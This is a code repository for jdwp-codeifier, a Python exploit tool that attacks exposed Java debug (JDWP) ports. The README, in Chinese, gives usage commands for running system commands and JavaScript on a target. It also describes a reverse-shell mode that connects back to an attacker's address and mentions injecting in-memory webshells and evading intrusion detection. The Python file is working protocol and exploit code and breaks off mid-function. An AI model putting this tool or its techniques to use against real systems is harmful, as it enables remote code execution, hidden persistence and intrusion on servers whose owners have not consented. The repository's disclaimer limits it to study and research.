├── README ├── img.png ├── img1.png ├── img2.png └── image-20241113222527330.png ├── LICENSE ├── README.md ├── .gitignore └── jdwp-codeifier.py /README/img.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/l3yx/jdwp-codeifier/HEAD/README/img.png -------------------------------------------------------------------------------- /README/img1.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/l3yx/jdwp-codeifier/HEAD/README/img1.png -------------------------------------------------------------------------------- /README/img2.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/l3yx/jdwp-codeifier/HEAD/README/img2.png -------------------------------------------------------------------------------- /README/image-20241113222527330.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/l3yx/jdwp-codeifier/HEAD/README/image-20241113222527330.png -------------------------------------------------------------------------------- /LICENSE: -------------------------------------------------------------------------------- 1 | MIT License 2 | 3 | Copyright (c) 2023 淚笑 4 | 5 | Permission is hereby granted, free of charge, to any person obtaining a copy 6 | of this software and associated documentation files (the "Software"), to deal 7 | in the Software without restriction, including without limitation the rights 8 | to use, copy, modify, merge, publish, distribute, sublicense, and/or sell 9 | copies of the Software, and to permit persons to whom the Software is 10 | furnished to do so, subject to the following conditions: 11 | 12 | The above copyright notice and this permission notice shall be included in all 13 | copies or substantial portions of the Software. 14 | 15 | THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR 16 | IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, 17 | FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE 18 | AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER 19 | LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, 20 | OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE 21 | SOFTWARE. 22 | -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | # jdwp-codeifier 2 | 3 | ## 介绍 4 | 对于JDWP漏洞的武器化利用最早可以追溯到2014年的项目:https://github.com/IOActive/jdwp-shellifier ,作者通过Python2实现JDWP协议,以设置断点的方式获取线程上下文从而调用Runtime.getRuntime().exec()执行系统命令 5 | 6 | 2020年Lz1y借鉴[MSF中的利用方式](https://github.com/rapid7/metasploit-framework/blob/master/modules/exploits/multi/misc/java_jdwp_debugger.rb)改写jdwp-shellifier,通过对Sleeping的线程发送单步执行事件,完成断点,从而可以直接获取上下文、执行命令,而不用等待断点被击中,项目地址:https://github.com/Lz1y/jdwp-shellifier 7 | 8 | 2022年r3change基于原版断点方式的jdwp-shellifier进行改写,增加了命令执行的回显,项目地址:https://github.com/r3change/jdwp-shellifier 9 | 10 | 但JDWP漏洞的利用本身不局限于“命令执行”,而且有时候为了规避入侵检测,或者为了植入内存马等,是需要动态执行Java代码的,所以我基于jdwp-shellifier再次改写了一版进阶的JDWP漏洞利用脚本,改名为jdwp-codeifier,同样使用不需要等待断点的方式且能够动态执行Java/Js代码并获得回显 11 | 12 | ## 使用 13 | ~~由于原版代码依赖了很多Python2特性,改起来有点费劲,所以这一版依然还是只支持Python2,期待有师傅提交同时兼容Python2/3的PR。~~ 14 | 15 | 感谢[syyu6](https://github.com/syyu6)师傅添加Python3支持 16 | 17 | 18 | ### 用法 19 | ``` 20 | usage: jdwp-codeifier.py [-h] -t IP [-p Port] [-m Mode] [-c Command/Code] 21 | [-a Address] [-l life] 22 | 23 | Advanced exploitation script for JDWP by @leixiao, base on @_hugsy_, @Lz1y, 24 | @r3change 25 | 26 | optional arguments: 27 | -h, --help show this help message and exit 28 | -t IP Remote target IP (default: None) 29 | -p Port Remote target port (default: 8000) 30 | -m Mode command/code/rshell (default: code) 31 | -c Command/Code Command or JavaScript Code (default: None) 32 | -a Address The address of reverse shell (default: None) 33 | -l life The survival time (minute) of the shell when unable to 34 | connect to the server (default: 1) 35 | ``` 36 | 37 | ### 命令执行 38 | 项目也保留了原本的命令执行功能,但命令行参数略有不同,执行 touch /tmp/success: 39 | 40 | (需要回显使用-m command2) 41 | 42 | ``` 43 | python jdwp-codeifier.py -t 172.17.0.3 -p 8000 -m command -c 'touch /tmp/success' 44 | ``` 45 | ![img.png](README/img.png) 46 | 47 | ### 代码执行 48 | 49 | (高版本JDK不适用) 50 | 51 | 动态代码执行是通过new javax.script.ScriptEngineManager().getEngineByName("js").eval()实现的,所以语法上是JS代码,但依然可以调用Java方法 52 | 53 | 执行系统命令并回显: 54 | ``` 55 | python jdwp-codeifier.py -t 172.17.0.3 -p 8000 -m code -c 'new java.util.Scanner(new java.lang.ProcessBuilder("sh","-c","whoami").start().getInputStream()).useDelimiter("--!@#").next()' 56 | ``` 57 | ![img.png](README/img1.png) 58 | 59 | 60 | 通过JS代码还可以动态定义类,加载外部类,插入内存马等等... 各位就自己发挥了 61 | 62 | ## 反弹Java内存Shell 63 | 64 | (高版本JDK不适用) 65 | 66 | https://l3yx.github.io/2023/12/03/%E9%80%9A%E8%BF%87JDWP%E6%BC%8F%E6%B4%9E%E6%B3%A8%E5%85%A5%E4%B8%8D%E4%B8%80%E6%A0%B7%E7%9A%84%E5%86%85%E5%AD%98%E9%A9%AC/#%E5%8F%8D%E5%90%91%E5%86%85%E5%AD%98Shell 67 | 68 | ``` 69 | python jdwp-codeifier.py -t 172.17.0.3 -p 8000 -m rshell -a 172.17.0.2:8080 -l 0.1 70 | # -a 指定接收shell的地址 71 | # -l 指定shell与服务器连接不上时的最大存活时间(分钟)(每隔5秒自动重连) 72 | ``` 73 | ![Alt text](README/img2.png) 74 | 75 | ## 命令执行回显 76 | 由于高版本JDK不支持以上JS代码执行及回显,我又优化了下命令执行的逻辑,添加了命令执行回显,支持高版本JDK 77 | ``` 78 | python2 jdwp-codeifier.py -t 172.17.0.3 -p 5005 -m command2 -c 'ls' 79 | ``` 80 | 81 | ![image-20241113222527330](./README/image-20241113222527330.png) 82 | 83 | 84 | 85 | ## 免责声明 86 | 本工具仅面向合法的学习或研究行为。在使用本工具过程中,您应确保自己所有行为符合当地的法律法规。 如您在使用本工具的过程中存在任何非法行为,您将自行承担所有后果,本工具所有开发者和所有贡献者不承担任何法律及连带责任。 除非您已充分阅读、完全理解并接受本协议所有条款,否则,请您不要安装并使用本工具。 您的使用行为或者您以其他任何明示或者默示方式表示接受本协议的,即视为您已阅读并同意本协议的约束。 87 | -------------------------------------------------------------------------------- /.gitignore: -------------------------------------------------------------------------------- 1 | # Byte-compiled / optimized / DLL files 2 | __pycache__/ 3 | *.py[cod] 4 | *$py.class 5 | 6 | # C extensions 7 | *.so 8 | 9 | # Distribution / packaging 10 | .Python 11 | build/ 12 | develop-eggs/ 13 | dist/ 14 | downloads/ 15 | eggs/ 16 | .eggs/ 17 | lib/ 18 | lib64/ 19 | parts/ 20 | sdist/ 21 | var/ 22 | wheels/ 23 | share/python-wheels/ 24 | *.egg-info/ 25 | .installed.cfg 26 | *.egg 27 | MANIFEST 28 | 29 | # PyInstaller 30 | # Usually these files are written by a python script from a template 31 | # before PyInstaller builds the exe, so as to inject date/other infos into it. 32 | *.manifest 33 | *.spec 34 | 35 | # Installer logs 36 | pip-log.txt 37 | pip-delete-this-directory.txt 38 | 39 | # Unit test / coverage reports 40 | htmlcov/ 41 | .tox/ 42 | .nox/ 43 | .coverage 44 | .coverage.* 45 | .cache 46 | nosetests.xml 47 | coverage.xml 48 | *.cover 49 | *.py,cover 50 | .hypothesis/ 51 | .pytest_cache/ 52 | cover/ 53 | 54 | # Translations 55 | *.mo 56 | *.pot 57 | 58 | # Django stuff: 59 | *.log 60 | local_settings.py 61 | db.sqlite3 62 | db.sqlite3-journal 63 | 64 | # Flask stuff: 65 | instance/ 66 | .webassets-cache 67 | 68 | # Scrapy stuff: 69 | .scrapy 70 | 71 | # Sphinx documentation 72 | docs/_build/ 73 | 74 | # PyBuilder 75 | .pybuilder/ 76 | target/ 77 | 78 | # Jupyter Notebook 79 | .ipynb_checkpoints 80 | 81 | # IPython 82 | profile_default/ 83 | ipython_config.py 84 | 85 | # pyenv 86 | # For a library or package, you might want to ignore these files since the code is 87 | # intended to run in multiple environments; otherwise, check them in: 88 | # .python-version 89 | 90 | # pipenv 91 | # According to pypa/pipenv#598, it is recommended to include Pipfile.lock in version control. 92 | # However, in case of collaboration, if having platform-specific dependencies or dependencies 93 | # having no cross-platform support, pipenv may install dependencies that don't work, or not 94 | # install all needed dependencies. 95 | #Pipfile.lock 96 | 97 | # poetry 98 | # Similar to Pipfile.lock, it is generally recommended to include poetry.lock in version control. 99 | # This is especially recommended for binary packages to ensure reproducibility, and is more 100 | # commonly ignored for libraries. 101 | # https://python-poetry.org/docs/basic-usage/#commit-your-poetrylock-file-to-version-control 102 | #poetry.lock 103 | 104 | # pdm 105 | # Similar to Pipfile.lock, it is generally recommended to include pdm.lock in version control. 106 | #pdm.lock 107 | # pdm stores project-wide configurations in .pdm.toml, but it is recommended to not include it 108 | # in version control. 109 | # https://pdm.fming.dev/#use-with-ide 110 | .pdm.toml 111 | 112 | # PEP 582; used by e.g. github.com/David-OConnor/pyflow and github.com/pdm-project/pdm 113 | __pypackages__/ 114 | 115 | # Celery stuff 116 | celerybeat-schedule 117 | celerybeat.pid 118 | 119 | # SageMath parsed files 120 | *.sage.py 121 | 122 | # Environments 123 | .env 124 | .venv 125 | env/ 126 | venv/ 127 | ENV/ 128 | env.bak/ 129 | venv.bak/ 130 | 131 | # Spyder project settings 132 | .spyderproject 133 | .spyproject 134 | 135 | # Rope project settings 136 | .ropeproject 137 | 138 | # mkdocs documentation 139 | /site 140 | 141 | # mypy 142 | .mypy_cache/ 143 | .dmypy.json 144 | dmypy.json 145 | 146 | # Pyre type checker 147 | .pyre/ 148 | 149 | # pytype static type analyzer 150 | .pytype/ 151 | 152 | # Cython debug symbols 153 | cython_debug/ 154 | 155 | # PyCharm 156 | # JetBrains specific template is maintained in a separate JetBrains.gitignore that can 157 | # be found at https://github.com/github/gitignore/blob/main/Global/JetBrains.gitignore 158 | # and can be added to the global gitignore or merged into this file. For a more nuclear 159 | # option (not recommended) you can uncomment the following to ignore the entire idea folder. 160 | #.idea/ 161 | 162 | .vscode/ -------------------------------------------------------------------------------- /jdwp-codeifier.py: -------------------------------------------------------------------------------- 1 | # -*- coding: utf-8 -*- 2 | from __future__ import print_function 3 | 4 | import socket 5 | import time 6 | import sys 7 | import struct 8 | import argparse 9 | import binascii 10 | 11 | def to_bytes(s): 12 | if sys.version_info[0] >= 3: 13 | return s.encode() if isinstance(s, str) else s 14 | return s 15 | 16 | def to_string(b): 17 | if sys.version_info[0] >= 3: 18 | return b.decode() if isinstance(b, bytes) else b 19 | return b 20 | 21 | HANDSHAKE = "JDWP-Handshake" 22 | 23 | REQUEST_PACKET_TYPE = 0x00 24 | REPLY_PACKET_TYPE = 0x80 25 | 26 | VERSION_SIG = (1, 1) 27 | CLASSESBYSIGNATURE_SIG = (1, 2) 28 | ALLCLASSES_SIG = (1, 3) 29 | ALLTHREADS_SIG = (1, 4) 30 | IDSIZES_SIG = (1, 7) 31 | CREATESTRING_SIG = (1, 11) 32 | SUSPENDVM_SIG = (1, 8) 33 | RESUMEVM_SIG = (1, 9) 34 | SIGNATURE_SIG = (2, 1) 35 | FIELDS_SIG = (2, 4) 36 | METHODS_SIG = (2, 5) 37 | GETVALUES_SIG = (2, 6) 38 | CLASSOBJECT_SIG = (2, 11) 39 | INVOKESTATICMETHOD_SIG = (3, 3) 40 | REFERENCETYPE_SIG = (9, 1) 41 | INVOKEMETHOD_SIG = (9, 6) 42 | STRINGVALUE_SIG = (10, 1) 43 | THREADNAME_SIG = (11, 1) 44 | THREADSUSPEND_SIG = (11, 2) 45 | THREADRESUME_SIG = (11, 3) 46 | THREADSTATUS_SIG = (11, 4) 47 | EVENTSET_SIG = (15, 1) 48 | EVENTCLEAR_SIG = (15, 2) 49 | EVENTCLEARALL_SIG = (15, 3) 50 | NEWINSTANCE_SIG = (3, 4) 51 | 52 | MODKIND_COUNT = 1 53 | MODKIND_THREADONLY = 2 54 | MODKIND_CLASSMATCH = 5 55 | MODKIND_LOCATIONONLY = 7 56 | EVENT_BREAKPOINT = 2 57 | SUSPEND_EVENTTHREAD = 1 58 | SUSPEND_ALL = 2 59 | NOT_IMPLEMENTED = 99 60 | VM_DEAD = 112 61 | INVOKE_SINGLE_THREADED = 2 62 | TAG_OBJECT = 76 63 | TAG_STRING = 115 64 | TYPE_CLASS = 1 65 | MODKIND_STEP = 10 66 | EVENTKIND_STEP = 1 67 | STEP_MIN = 0 68 | STEP_INTO = 0 69 | 70 | 71 | class JDWPClient: 72 | def __init__(self, host, port=8000): 73 | self.host = host 74 | self.port = port 75 | self.methods = {} 76 | self.fields = {} 77 | self.id = 0x01 78 | return 79 | 80 | def create_packet(self, cmdsig, data=b""): 81 | flags = 0x00 82 | cmdset, cmd = cmdsig 83 | pktlen = len(data) + 11 84 | pkt = struct.pack(">IIccc", pktlen, self.id, 85 | to_bytes(chr(flags)), 86 | to_bytes(chr(cmdset)), 87 | to_bytes(chr(cmd))) 88 | pkt += data if isinstance(data, bytes) else to_bytes(data) 89 | self.id += 2 90 | return pkt 91 | 92 | def read_reply(self): 93 | header = self.socket.recv(11) 94 | pktlen, id, flags, errcode = struct.unpack(">IIcH", header) 95 | 96 | if ord(flags) == REPLY_PACKET_TYPE: 97 | if errcode: 98 | raise Exception("Received errcode %d" % errcode) 99 | 100 | buf = b"" 101 | while len(buf) + 11 < pktlen: 102 | data = self.socket.recv(1024) 103 | if len(data): 104 | buf += data 105 | else: 106 | time.sleep(1) 107 | return buf 108 | 109 | def parse_entries(self, buf, formats, explicit=True): 110 | entries = [] 111 | index = 0 112 | 113 | if explicit: 114 | nb_entries = struct.unpack(">I", buf[:4])[0] 115 | buf = buf[4:] 116 | else: 117 | nb_entries = 1 118 | 119 | for i in range(nb_entries): 120 | data = {} 121 | for fmt, name in formats: 122 | if fmt == "L" or fmt == 8: 123 | data[name] = int(struct.unpack(">Q", buf[index:index + 8])[0]) 124 | index += 8 125 | elif fmt == "I" or fmt == 4: 126 | data[name] = int(struct.unpack(">I", buf[index:index + 4])[0]) 127 | index += 4 128 | elif fmt == 'S': 129 | l = struct.unpack(">I", buf[index:index + 4])[0] 130 | data[name] = to_string(buf[index + 4:index + 4 + l]) 131 | index += 4 + l 132 | elif fmt == 'C': 133 | data[name] = ord(struct.unpack(">c", buf[index:index + 1])[0]) 134 | index += 1 135 | elif fmt == 'Z': 136 | t = ord(struct.unpack(">c", buf[index:index + 1])[0]) 137 | if t == 115: 138 | s = self.solve_string(buf[index + 1:index + 9]) 139 | data[name] = s 140 | index += 9 141 | elif t == 73: 142 | data[name] = struct.unpack(">I", buf[index + 1:index + 5])[0] 143 | buf = struct.unpack(">I", buf[index + 5:index + 9]) 144 | index = 0 145 | else: 146 | print("Error") 147 | sys.exit(1) 148 | entries.append(data) 149 | return entries 150 | 151 | def format(self, fmt, value): 152 | if fmt == "L" or fmt == 8: 153 | return struct.pack(">Q", value) 154 | elif fmt == "I" or fmt == 4: 155 | return struct.pack(">I", value) 156 | 157 | raise Exception("Unknown format") 158 | 159 | def unformat(self, fmt, value): 160 | if fmt == "L" or fmt == 8: 161 | return struct.unpack(">Q", value[:8])[0] 162 | elif fmt == "I" or fmt == 4: 163 | return struct.unpack(">I", value[:4])[0] 164 | else: 165 | raise Exception("Unknown format") 166 | return 167 | 168 | def start(self): 169 | self.handshake(self.host, self.port) 170 | self.idsizes() 171 | self.getversion() 172 | self.allclasses() 173 | return 174 | 175 | def handshake(self, host, port): 176 | s = socket.socket() 177 | try: 178 | s.connect((host, port)) 179 | except socket.error as msg: 180 | raise Exception("Failed to connect: %s" % msg) 181 | 182 | s.send(to_bytes(HANDSHAKE)) 183 | if s.recv(len(HANDSHAKE)) != to_bytes(HANDSHAKE): 184 | raise Exception("Failed to handshake") 185 | else: 186 | self.socket = s 187 | return 188 | 189 | def leave(self): 190 | self.socket.close() 191 | return 192 | 193 | def getversion(self): 194 | self.socket.sendall(self.create_packet(VERSION_SIG)) 195 | buf = self.read_reply() 196 | formats = [('S', "description"), ('I', "jdwpMajor"), ('I', "jdwpMinor"), 197 | ('S', "vmVersion"), ('S', "vmName"), ] 198 | for entry in self.parse_entries(buf, formats, False): 199 | for name, value in entry.items(): 200 | setattr(self, name, value) 201 | return 202 | 203 | @property 204 | def version(self): 205 | return "%s - %s" % (self.vmName, self.vmVersion) 206 | 207 | def idsizes(self): 208 | self.socket.sendall(self.create_packet(IDSIZES_SIG)) 209 | buf = self.read_reply() 210 | formats = [("I", "fieldIDSize"), ("I", "methodIDSize"), ("I", "objectIDSize"), 211 | ("I", "referenceTypeIDSize"), ("I", "frameIDSize")] 212 | for entry in self.parse_entries(buf, formats, False): 213 | for name, value in entry.items(): 214 | setattr(self, name, value) 215 | return 216 | 217 | def allthreads(self): 218 | try: 219 | getattr(self, "threads") 220 | except: 221 | self.socket.sendall(self.create_packet(ALLTHREADS_SIG)) 222 | buf = self.read_reply() 223 | formats = [(self.objectIDSize, "threadId")] 224 | self.threads = self.parse_entries(buf, formats) 225 | finally: 226 | return self.threads 227 | 228 | def get_thread_by_name(self, name): 229 | self.allthreads() 230 | for t in self.threads: 231 | threadId = self.format(self.objectIDSize, t["threadId"]) 232 | self.socket.sendall(self.create_packet(THREADNAME_SIG, data=threadId)) 233 | buf = self.read_reply() 234 | if len(buf) and name == self.readstring(buf): 235 | return t 236 | return None 237 | 238 | def get_name_by_threadId(self, threadId): 239 | threadId = self.format(self.objectIDSize, threadId) 240 | self.socket.sendall(self.create_packet(THREADNAME_SIG, data=threadId)) 241 | buf = self.read_reply() 242 | formats = [('S', "name")] 243 | buf = self.parse_entries(buf, formats, False) 244 | return buf[0]['name'] 245 | 246 | def allclasses(self): 247 | try: 248 | getattr(self, "classes") 249 | except: 250 | self.socket.sendall(self.create_packet(ALLCLASSES_SIG)) 251 | buf = self.read_reply() 252 | formats = [('C', "refTypeTag"), 253 | (self.referenceTypeIDSize, "refTypeId"), 254 | ('S', "signature"), 255 | ('I', "status")] 256 | self.classes = self.parse_entries(buf, formats) 257 | 258 | return self.classes 259 | 260 | def get_class_by_signature(self, signature): 261 | for entry in self.classes: 262 | if entry["signature"] == signature: 263 | return entry 264 | return None 265 | 266 | def get_methods(self, refTypeId): 267 | if refTypeId not in self.methods: 268 | refId = self.format(self.referenceTypeIDSize, refTypeId) 269 | self.socket.sendall(self.create_packet(METHODS_SIG, data=refId)) 270 | buf = self.read_reply() 271 | formats = [(self.methodIDSize, "methodId"), 272 | ('S', "name"), 273 | ('S', "signature"), 274 | ('I', "modBits")] 275 | self.methods[refTypeId] = self.parse_entries(buf, formats) 276 | return self.methods[refTypeId] 277 | 278 | def get_method_by_name(self, name): 279 | for refId in self.methods.keys(): 280 | for entry in self.methods[refId]: 281 | if entry["name"].lower() == name.lower(): 282 | return entry 283 | return None 284 | 285 | def getfields(self, refTypeId): 286 | if refTypeId not in self.fields: 287 | refId = self.format(self.referenceTypeIDSize, refTypeId) 288 | self.socket.sendall(self.create_packet(FIELDS_SIG, data=refId)) 289 | buf = self.read_reply() 290 | formats = [(self.fieldIDSize, "fieldId"), 291 | ('S', "name"), 292 | ('S', "signature"), 293 | ('I', "modbits")] 294 | self.fields[refTypeId] = self.parse_entries(buf, formats) 295 | return self.fields[refTypeId] 296 | 297 | def getvalue(self, refTypeId, fieldId): 298 | data = self.format(self.referenceTypeIDSize, refTypeId) 299 | data += struct.pack(">I", 1) 300 | data += self.format(self.fieldIDSize, fieldId) 301 | self.socket.sendall(self.create_packet(GETVALUES_SIG, data=data)) 302 | buf = self.read_reply() 303 | formats = [("Z", "value")] 304 | field = self.parse_entries(buf, formats)[0] 305 | return field 306 | 307 | def createstring(self, data): 308 | buf = self.buildstring(data) 309 | self.socket.sendall(self.create_packet(CREATESTRING_SIG, data=buf)) 310 | buf = self.read_reply() 311 | return self.parse_entries(buf, [(self.objectIDSize, "objId")], False) 312 | 313 | def buildstring(self, data): 314 | return struct.pack(">I", len(data)) + to_bytes(data) 315 | 316 | def readstring(self, data): 317 | size = struct.unpack(">I", data[:4])[0] 318 | return to_string(data[4:4 + size]) 319 | 320 | def suspendvm(self): 321 | self.socket.sendall(self.create_packet(SUSPENDVM_SIG)) 322 | self.read_reply() 323 | return 324 | 325 | def resumevm(self): 326 | self.socket.sendall(self.create_packet(RESUMEVM_SIG)) 327 | self.read_reply() 328 | return 329 | 330 | def invokestatic(self, classId, threadId, methId, *args): 331 | data = self.format(self.referenceTypeIDSize, classId) 332 | data += self.format(self.objectIDSize, threadId) 333 | data += self.format(self.methodIDSize, methId) 334 | data += struct.pack(">I", len(args)) 335 | for arg in args: 336 | data += arg 337 | data += struct.pack(">I", 0) 338 | 339 | self.socket.sendall(self.create_packet(INVOKESTATICMETHOD_SIG, data=data)) 340 | buf = self.read_reply() 341 | return buf 342 | 343 | def invoke(self, objId, threadId, classId, methId, *args): 344 | data = self.format(self.objectIDSize, objId) 345 | data += self.format(self.objectIDSize, threadId) 346 | data += self.format(self.referenceTypeIDSize, classId) 347 | data += self.format(self.methodIDSize, methId) 348 | data += struct.pack(">I", len(args)) 349 | for arg in args: 350 | data += arg 351 | data += struct.pack(">I", 0) 352 | 353 | self.socket.sendall(self.create_packet(INVOKEMETHOD_SIG, data=data)) 354 | buf = self.read_reply() 355 | return buf 356 | 357 | def newInstance(self, classId, threadId, methId, *args): 358 | data = self.format(self.referenceTypeIDSize, classId) 359 | data += self.format(self.objectIDSize, threadId) 360 | data += self.format(self.methodIDSize, methId) 361 | data += struct.pack(">I", len(args)) 362 | for arg in args: 363 | data += arg 364 | data += struct.pack(">I", 0) 365 | 366 | self.socket.sendall(self.create_packet(NEWINSTANCE_SIG, data=data)) 367 | buf = self.read_reply() 368 | return buf 369 | 370 | def solve_string(self, objId): 371 | self.socket.sendall(self.create_packet(STRINGVALUE_SIG, data=objId)) 372 | buf = self.read_reply() 373 | if len(buf): 374 | return self.readstring(buf) 375 | else: 376 | return "" 377 | 378 | def query_thread(self, threadId, kind): 379 | data = self.format(self.objectIDSize, threadId) 380 | self.socket.sendall(self.create_packet(kind, data=data)) 381 | buf = self.read_reply() 382 | return buf 383 | 384 | def suspend_thread(self, threadId): 385 | return self.query_thread(threadId, THREADSUSPEND_SIG) 386 | 387 | def status_thread(self, threadId): 388 | buf = self.query_thread(threadId, THREADSTATUS_SIG) 389 | formats = [('I', "threadStatus"), 390 | ('I', 'suspendStatus')] 391 | threadStatus = client.parse_entries(buf, formats, False) 392 | return threadStatus 393 | 394 | def resume_thread(self, threadId): 395 | return self.query_thread(threadId, THREADRESUME_SIG) 396 | 397 | def send_event(self, eventCode, *args): 398 | data = b"" 399 | data += to_bytes(chr(eventCode)) 400 | data += to_bytes(chr(SUSPEND_ALL)) 401 | data += struct.pack(">I", len(args)) 402 | 403 | for kind, option in args: 404 | data += to_bytes(chr(kind)) 405 | data += option 406 | 407 | self.socket.sendall(self.create_packet(EVENTSET_SIG, data=data)) 408 | buf = self.read_reply() 409 | return struct.unpack(">I", buf)[0] 410 | 411 | def clear_event(self, eventCode, rId): 412 | data = to_bytes(chr(eventCode)) 413 | data += struct.pack(">I", rId) 414 | self.socket.sendall(self.create_packet(EVENTCLEAR_SIG, data=data)) 415 | self.read_reply() 416 | return 417 | 418 | def clear_events(self): 419 | self.socket.sendall(self.create_packet(EVENTCLEARALL_SIG)) 420 | self.read_reply() 421 | return 422 | 423 | def wait_for_event(self): 424 | buf = self.read_reply() 425 | return buf 426 | 427 | def parse_event(self, buf, eventId): 428 | num = struct.unpack(">I", buf[2:6])[0] 429 | rId = struct.unpack(">I", buf[6:10])[0] 430 | if rId != eventId: 431 | return None 432 | tId = self.unformat(self.objectIDSize, buf[10:10 + self.objectIDSize]) 433 | loc = -1 # don't care 434 | return rId, tId, loc 435 | 436 | 437 | # ================================================================================================================================================ 438 | def get_class_id(jdwp, signature): 439 | c = jdwp.get_class_by_signature(signature) 440 | if c is None: 441 | raise Exception("[-] get class failed : {} (class not found)".format(signature)) 442 | if 'refTypeId' not in c: 443 | raise Exception("[-] get class failed : {} (no refTypeId)".format(signature)) 444 | return c["refTypeId"] 445 | 446 | 447 | def get_method_id(jdwp, class_id, method_name, signature): 448 | methods = jdwp.get_methods(class_id) 449 | for method in methods: 450 | if method["name"] == method_name and method["signature"] == signature: 451 | if "methodId" in method: 452 | return method["methodId"] 453 | raise Exception("[-] get method failed : {}".format(method_name)) 454 | 455 | 456 | def get_thread_id(jdwp): 457 | thread_id = 0 458 | threads = jdwp.allthreads() 459 | for thread in threads: 460 | threadStatus = jdwp.status_thread(thread['threadId']) 461 | threadStatus = threadStatus[0]["threadStatus"] 462 | if threadStatus == 2: # Sleeping 463 | thread_id = thread['threadId'] 464 | break 465 | if thread_id == 0: 466 | raise Exception("[-] Could not find a suitable thread for stepping") 467 | print("[+] Setting 'step into' event in thread: {:#x}".format(thread_id)) 468 | jdwp.suspendvm() 469 | step_info = jdwp.format(jdwp.objectIDSize, thread_id) 470 | step_info += struct.pack(">I", STEP_MIN) 471 | step_info += struct.pack(">I", STEP_INTO) 472 | data = [(MODKIND_STEP, step_info), ] 473 | rId = jdwp.send_event(EVENTKIND_STEP, *data) 474 | # 4. resume vm and wait for event 475 | jdwp.resumevm() 476 | while True: 477 | buf = jdwp.wait_for_event() 478 | ret = jdwp.parse_event(buf, rId) 479 | if ret is not None: 480 | break 481 | rId, tId, loc = ret 482 | print ("[+] Received matching event from thread: {:#x}".format(tId)) 483 | jdwp.clear_event(EVENTKIND_STEP, rId) 484 | return tId 485 | 486 | 487 | def get_string_id(jdwp, string): 488 | try: 489 | return jdwp.createstring(string)[0]["objId"] 490 | except Exception as e: 491 | raise Exception("[-] get string failed : {}".format(string)) 492 | 493 | 494 | def invoke_static_object(jdwp, thread_id, class_id, method_id, param_id): 495 | if param_id: 496 | data = [to_bytes(chr(TAG_OBJECT)) + jdwp.format(jdwp.objectIDSize, param_id)] 497 | buf = jdwp.invokestatic(class_id, thread_id, method_id, *data) 498 | else: 499 | buf = jdwp.invokestatic(class_id, thread_id, method_id) 500 | if buf[0:1] != to_bytes(chr(TAG_OBJECT)): 501 | raise Exception("[-] invoke static object failed") 502 | return jdwp.unformat(jdwp.objectIDSize, buf[1:1 + jdwp.objectIDSize]) 503 | 504 | 505 | def invoke_static_class(jdwp, thread_id, class_id, method_id, param_id): 506 | if param_id: 507 | data = [to_bytes(chr(TAG_OBJECT)) + jdwp.format(jdwp.objectIDSize, param_id)] 508 | buf = jdwp.invokestatic(class_id, thread_id, method_id, *data) 509 | else: 510 | buf = jdwp.invokestatic(class_id, thread_id, method_id) 511 | if buf[0:1] != b'c': 512 | raise Exception("[-] invoke static class failed") 513 | return jdwp.unformat(jdwp.objectIDSize, buf[1:1 + jdwp.objectIDSize]) 514 | 515 | 516 | def invoke_object(jdwp, thread_id, class_id, object_id, method_id, param_id): 517 | if param_id: 518 | data = [to_bytes(chr(TAG_OBJECT)) + jdwp.format(jdwp.objectIDSize, param_id)] 519 | buf = jdwp.invoke(object_id, thread_id, class_id, method_id, *data) 520 | else: 521 | buf = jdwp.invoke(object_id, thread_id, class_id, method_id) 522 | if buf[0:1] != to_bytes(chr(TAG_OBJECT)): 523 | raise Exception("[-] invoke object failed") 524 | return jdwp.unformat(jdwp.objectIDSize, buf[1:1 + jdwp.objectIDSize]) 525 | 526 | 527 | def invoke_string(jdwp, thread_id, class_id, object_id, method_id, param_id): 528 | if param_id: 529 | data = [to_bytes(chr(TAG_OBJECT)) + jdwp.format(jdwp.objectIDSize, param_id)] 530 | buf = jdwp.invoke(object_id, thread_id, class_id, method_id, *data) 531 | else: 532 | buf = jdwp.invoke(object_id, thread_id, class_id, method_id) 533 | if buf[0:1] != to_bytes(chr(TAG_STRING)): 534 | raise Exception("[-] invoke string failed") 535 | return jdwp.unformat(jdwp.objectIDSize, buf[1:1 + jdwp.objectIDSize]) 536 | 537 | 538 | def invoke(jdwp, thread_id, class_id, object_id, method_id, param_id): 539 | if param_id: 540 | data = [to_bytes(chr(TAG_OBJECT)) + jdwp.format(jdwp.objectIDSize, param_id)] 541 | buf = jdwp.invoke(object_id, thread_id, class_id, method_id, *data) 542 | else: 543 | buf = jdwp.invoke(object_id, thread_id, class_id, method_id) 544 | return jdwp.unformat(jdwp.objectIDSize, buf[1:1 + jdwp.objectIDSize]) 545 | 546 | 547 | def new_instance(jdwp, thread_id, class_id, method_id, param_id): 548 | if param_id: 549 | data = [to_bytes(chr(TAG_OBJECT)) + jdwp.format(jdwp.objectIDSize, param_id)] 550 | buf = jdwp.newInstance(class_id, thread_id, method_id, *data) 551 | else: 552 | buf = jdwp.newInstance(class_id, thread_id, method_id) 553 | if buf[0:1] != to_bytes(chr(TAG_OBJECT)): 554 | raise Exception("[-] new instance failed") 555 | return jdwp.unformat(jdwp.objectIDSize, buf[1:1 + jdwp.objectIDSize]) 556 | 557 | 558 | # ================================================================================================================================================ 559 | 560 | def runtime_exec(jdwp, cmd): 561 | try: 562 | thread_id = get_thread_id(jdwp) 563 | 564 | runtime_class_id = get_class_id(jdwp, "Ljava/lang/Runtime;") 565 | print ("[+] Found Runtime class: {:#x}".format(runtime_class_id)) 566 | 567 | getRuntime_method_id = get_method_id(jdwp, runtime_class_id, "getRuntime", "()Ljava/lang/Runtime;") 568 | print ("[+] Found Runtime.getRuntime(): {:#x}".format(getRuntime_method_id)) 569 | 570 | string_id = get_string_id(jdwp, cmd) 571 | print ("[+] Command string created: {:#x}, command: {}".format(string_id, cmd)) 572 | 573 | 